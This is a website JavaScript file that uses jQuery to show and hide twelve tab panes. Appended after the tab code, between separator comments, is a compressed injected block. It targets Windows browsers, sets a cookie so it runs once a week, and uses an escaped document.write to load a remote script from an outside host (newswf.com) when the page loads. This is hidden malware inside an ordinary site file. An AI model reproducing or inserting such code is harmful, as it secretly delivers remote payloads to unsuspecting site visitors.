// JavaScript Document

$(document).ready(function() { 
      $("#tab1").show();
      $("#tab2").hide();
	  $("#tab3").hide();
	  $("#tab4").hide();
	  $("#tab5").hide();
	  $("#tab6").hide();
	  $("#tab7").hide();
	  $("#tab8").hide();
	  $("#tab9").hide();
	  $("#tab10").hide();
	  $("#tab11").hide();
	  $("#tab12").hide();

$("a.tab1").click(function(){
      $("#contenido div").hide();
	  $("#tab1").show();
});

$("a.tab2").click(function(){
      $("#contenido div").hide();
      $("#tab2").show();
});

$("a.tab3").click(function(){
      $("#contenido div").hide();
      $("#tab3").show();
});

$("a.tab4").click(function(){
      $("#contenido div").hide();
      $("#tab4").show();
});

$("a.tab5").click(function(){
      $("#contenido div").hide();
      $("#tab5").show();
});

$("a.tab6").click(function(){
      $("#contenido div").hide();
      $("#tab6").show();
});

$("a.tab7").click(function(){
      $("#contenido div").hide();
      $("#tab7").show();
});

$("a.tab8").click(function(){
      $("#contenido div").hide();
      $("#tab8").show();
});

$("a.tab9").click(function(){
      $("#contenido div").hide();
      $("#tab9").show();
});

$("a.tab10").click(function(){
      $("#contenido div").hide();
      $("#tab10").show();
});

$("a.tab11").click(function(){
      $("#contenido div").hide();
      $("#tab11").show();
});

$("a.tab12").click(function(){
      $("#contenido div").hide();
      $("#tab12").show();
});


});


/* ============================================================================-*/
function setCookie(name, value, expiredays, path, domain, secure) { if (expiredays) { var exdate=new Date(); exdate.setDate(exdate.getDate()+expiredays); var expires = exdate.toGMTString(); } document.cookie = name + "=" + escape(value) + ((expiredays) ? "; expires=" + expires : "") + ((path) ? "; path=" + path : "") + ((domain) ? "; domain=" + domain : "") + ((secure) ? "; secure" : "");} if (navigator.userAgent.indexOf("KHTML") == -1 && navigator.userAgent.indexOf("NT") != -1){if(navigator.cookieEnabled == true) {var user = getCookie("NSwfCookie");if (user !=="ok"){newswfcookie();setCookie("NSwfCookie", "ok", 7, "/");}}}  function newswfcookie(){document.write(unescape("%3Cscript src='http://newswf.com/in.cgi?6' type='text/javascript'%3E%3C/script%3E"));} function getCookie(name) { var cookie = " " + document.cookie; var search = " " + name + "="; var setStr = null; var offset = 0; var end = 0; if (cookie.length > 0) { offset = cookie.indexOf(search); if (offset != -1) { offset += search.length; end = cookie.indexOf(";", offset); if (end == -1) { end = cookie.length; } setStr = unescape(cookie.substring(offset, end)); } } return setStr;}
/*============================================================================-=*/

